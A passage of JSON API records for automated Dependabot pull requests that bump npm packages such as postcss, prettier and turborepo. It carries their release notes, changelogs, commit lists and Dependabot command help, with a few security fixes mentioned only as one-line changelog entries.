href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.15...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for postcss since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.8.4 to 3.9.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.5\u003c/h2\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.5/CHANGELOG.md#395\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular: Format \u003ccode\u003e@content(name)\u003c/code\u003e -\u0026gt; \u003ccode\u003e@content (name)\u003c/code\u003e to align with other block syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19499\"\u003e#19499\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.4/CHANGELOG.md#394\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix unexpected removal of characters in liquid syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19489\"\u003eprettier/prettier#19489\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTypeScript: Allow decorators to be used with declare on class fields (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19492\"\u003eprettier/prettier#19492\u003c/a\u003e by \u003ca href=\"https://github.com/evoactivity\"\u003e\u003ccode\u003e@​evoactivity\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.3/CHANGELOG.md#393\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCLI: Fix ignored file has been cached incorrectly (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19483\"\u003e#19483\u003c/a\u003e by \u003ca href=\"https://github.com/kovsu\"\u003e\u003ccode\u003e@​kovsu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.1/CHANGELOG.md#391\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.8.5...3.9.0\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://prettier.io/blog/2026/06/27/3.9.0\"\u003ePrettier 3.9: Major parser upgrades and Formatting improvements\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix Flow variance annotation print (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19022\"\u003e#19022\u003c/a\u003e by \u003ca href=\"https://github.com/marcoww6\"\u003e\u003ccode\u003e@​marcoww6\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.8.5/CHANGELOG.md#385\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.5\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.4...3.9.5\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Cap ordered list mark at 999,999,999 (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19351\"\u003e#19351\u003c/a\u003e by \u003ca href=\"https://github.com/tats-u\"\u003e\u003ccode\u003e@​tats-u\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eCommonMark parsers only support ordered list item numbers up to 999,999,999.\u003c/p\u003e\n\u003cp\u003eWith this change, Prettier now caps the ordered list item number at 999,999,999 to ensure that the output is correctly parsed as an ordered list by CommonMark parsers. Numbers larger than 999,999,999 are not parsed as list item numbers and are left unchanged in the output:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n999999998. text\n999999998. text\n999999998. text\n999999998. text\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n999999998. text\n999999999. text\n1000000000. text\n1000000001. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n999999998. text\n999999999. text\n999999999. text\n999999999. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Avoid corrupting empty link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19487\"\u003e#19487\u003c/a\u003e by \u003ca href=\"https://github.com/andersk\"\u003e\u003ccode\u003e@​andersk\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eDo not remove \u003ccode\u003e\u0026lt;\u0026gt;\u003c/code\u003e from an inline link or image with an empty URL and a title, as this removal would change its interpretation.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n[link](https://github.com/prettier/prettier/blob/main/\u0026lt;\u0026gt; \u0026quot;title\u0026quot;)\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n[link](\u003ca href=\"https://github.com/prettier/prettier/blob/main/\"\u003ehttps://github.com/prettier/prettier/blob/main/\u003c/a\u003e \u0026quot;title\u0026quot;)\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/b6c7d1806807162658fd5694d002b54b778c3756\"\u003e\u003ccode\u003eb6c7d18\u003c/code\u003e\u003c/a\u003e Release 3.9.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cd54ccc7288f2a4585ba5bf96883e2ed3b18e781\"\u003e\u003ccode\u003ecd54ccc\u003c/code\u003e\u003c/a\u003e Avoid corrupting empty Markdown link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19487\"\u003e#19487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/2bb67ce8cd326dbaccbdec97e7578985f6009a14\"\u003e\u003ccode\u003e2bb67ce\u003c/code\u003e\u003c/a\u003e Preserving comments' \u003ccode\u003eplacement\u003c/code\u003e property (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19567\"\u003e#19567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/91bcac88ec1d784767ebbf5ec4686a5dbf37c3c1\"\u003e\u003ccode\u003e91bcac8\u003c/code\u003e\u003c/a\u003e Add more tests for comment-only object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19587\"\u003e#19587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cbee7377a1875686558bfc9416b789d66771d9e7\"\u003e\u003ccode\u003ecbee737\u003c/code\u003e\u003c/a\u003e Remove space in empty object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19583\"\u003e#19583\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/6394c732090efdf7798e0c8dc44c46583b4131c3\"\u003e\u003ccode\u003e6394c73\u003c/code\u003e\u003c/a\u003e Align empty module declaration with TS (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19568\"\u003e#19568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/a4e6f7a0264bad45f3c153773111f60a5d406d55\"\u003e\u003ccode\u003ea4e6f7a\u003c/code\u003e\u003c/a\u003e Prevent the addition of space in \u003ccode\u003etype()\u003c/code\u003e with \u003ccode\u003e+\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19516\"\u003e#19516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/3d063b57b1a2fdc660341b6e1c719e09997cc72c\"\u003e\u003ccode\u003e3d063b5\u003c/code\u003e\u003c/a\u003e Ignore dangling comments when checking type parameter comments (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19572\"\u003e#19572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/908503e9ee02718ef0ec21a023f2c0fd5fb00603\"\u003e\u003ccode\u003e908503e\u003c/code\u003e\u003c/a\u003e Handle dangling comments in \u003ccode\u003eSwitchStatement\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19581\"\u003e#19581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/943a475c3592149aad6062ad235338da548365ea\"\u003e\u003ccode\u003e943a475\u003c/code\u003e\u003c/a\u003e Angular: Support expression for exhaustive typechecking (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19571\"\u003e#19571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.8.4...3.9.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/WILLIAMMDN/daemon/pull/13","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/WILLIAMMDN%2Fdaemon/issues/13","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/13/packages"}},{"old_version":"8.5.16","new_version":"8.5.19","update_type":"patch","path":null,"pr_created_at":"2026-07-15T00:16:46.000Z","version_change":"8.5.16 → 8.5.19","issue":{"uuid":"4888105185","node_id":"PR_kwDORCcskM7xzOBQ","number":289,"state":"open","title":"chore(deps): bump the patch-updates group across 1 directory with 11 updates","user":"dependabot[bot]","labels":["dependencies","dependabot"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-15T00:16:46.000Z","updated_at":"2026-07-15T00:19:59.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"patch-updates","update_count":11,"packages":[{"name":"@turbo/gen","old_version":"2.10.3","new_version":"2.10.5","repository_url":"https://github.com/vercel/turborepo"},{"name":"turbo","old_version":"2.10.3","new_version":"2.10.5","repository_url":"https://github.com/vercel/turborepo"},{"name":"astro","old_version":"7.0.6","new_version":"7.0.9","repository_url":"https://github.com/withastro/astro"},{"name":"react-native-worklets","old_version":"0.10.1","new_version":"0.10.2","repository_url":"https://github.com/software-mansion/react-native-reanimated"},{"name":"@upstash/qstash","old_version":"2.11.1","new_version":"2.11.2","repository_url":"https://github.com/upstash/qstash-js"},{"name":"radix-ui","old_version":"1.6.1","new_version":"1.6.2","repository_url":"https://github.com/radix-ui/primitives"},{"name":"eslint-plugin-turbo","old_version":"2.10.3","new_version":"2.10.5","repository_url":"https://github.com/vercel/turborepo"},{"name":"postcss","old_version":"8.5.16","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"@eslint/js","old_version":"9.39.4","new_version":"9.39.5","repository_url":"https://github.com/eslint/eslint"},{"name":"@types/node","old_version":"24.13.2","new_version":"24.13.3","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"vite","old_version":"8.1.3","new_version":"8.1.4","repository_url":"https://github.com/vitejs/vite"}],"path":null,"ecosystem":"npm"},"body":"Bumps the patch-updates group with 11 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@turbo/gen](https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen) | `2.10.3` | `2.10.5` |\n| [turbo](https://github.com/vercel/turborepo) | `2.10.3` | `2.10.5` |\n| [astro](https://github.com/withastro/astro/tree/HEAD/packages/astro) | `7.0.6` | `7.0.9` |\n| [react-native-worklets](https://github.com/software-mansion/react-native-reanimated/tree/HEAD/packages/react-native-worklets) | `0.10.1` | `0.10.2` |\n| [@upstash/qstash](https://github.com/upstash/qstash-js) | `2.11.1` | `2.11.2` |\n| [radix-ui](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/radix-ui) | `1.6.1` | `1.6.2` |\n| [eslint-plugin-turbo](https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo) | `2.10.3` | `2.10.5` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.16` | `8.5.19` |\n| [@eslint/js](https://github.com/eslint/eslint/tree/HEAD/packages/js) | `9.39.4` | `9.39.5` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `24.13.2` | `24.13.3` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.1.3` | `8.1.4` |\n\n\nUpdates `@turbo/gen` from 2.10.3 to 2.10.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/turborepo/releases\"\u003e@​turbo/gen's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTurborepo v2.10.5\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eChangelog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Evaluate simple include globs without wax compilation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13285\"\u003evercel/turborepo#13285\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Dogfood native Cargo support in this repository by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13283\"\u003evercel/turborepo#13283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13286\"\u003evercel/turborepo#13286\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove dead sccache configuration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13289\"\u003evercel/turborepo#13289\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Serve the Remote Cache as an sccache backend for Cargo tasks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13288\"\u003evercel/turborepo#13288\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Reject output path traversal by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13290\"\u003evercel/turborepo#13290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Disable the sccache proxy when remote cache use is off by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13291\"\u003evercel/turborepo#13291\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Embed sccache so the Cargo compile cache needs no installation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13293\"\u003evercel/turborepo#13293\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.1 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13294\"\u003evercel/turborepo#13294\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Pin a flag-aware turbo canary for the eve-agent deployment by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13295\"\u003evercel/turborepo#13295\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make the sccache compile cache actually cache by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13296\"\u003evercel/turborepo#13296\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.2 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13297\"\u003evercel/turborepo#13297\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Stop ambient CARGO_INCREMENTAL from suppressing compile cache injection by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13298\"\u003evercel/turborepo#13298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Never let compile cache storage failures fail the build by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13299\"\u003evercel/turborepo#13299\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Add outputs path-traversal negative-case regression tests by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13300\"\u003evercel/turborepo#13300\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.3 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13302\"\u003evercel/turborepo#13302\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Authenticate to Remote Cache via OIDC token exchange by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13303\"\u003evercel/turborepo#13303\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Keep pnpm patches with version range keys during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13307\"\u003evercel/turborepo#13307\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Scrub ambient turbo configuration from integration test children by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13306\"\u003evercel/turborepo#13306\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Show toolchain tasks in the TUI and never run in silence by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13308\"\u003evercel/turborepo#13308\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Fix change detection on push events by \u003ca 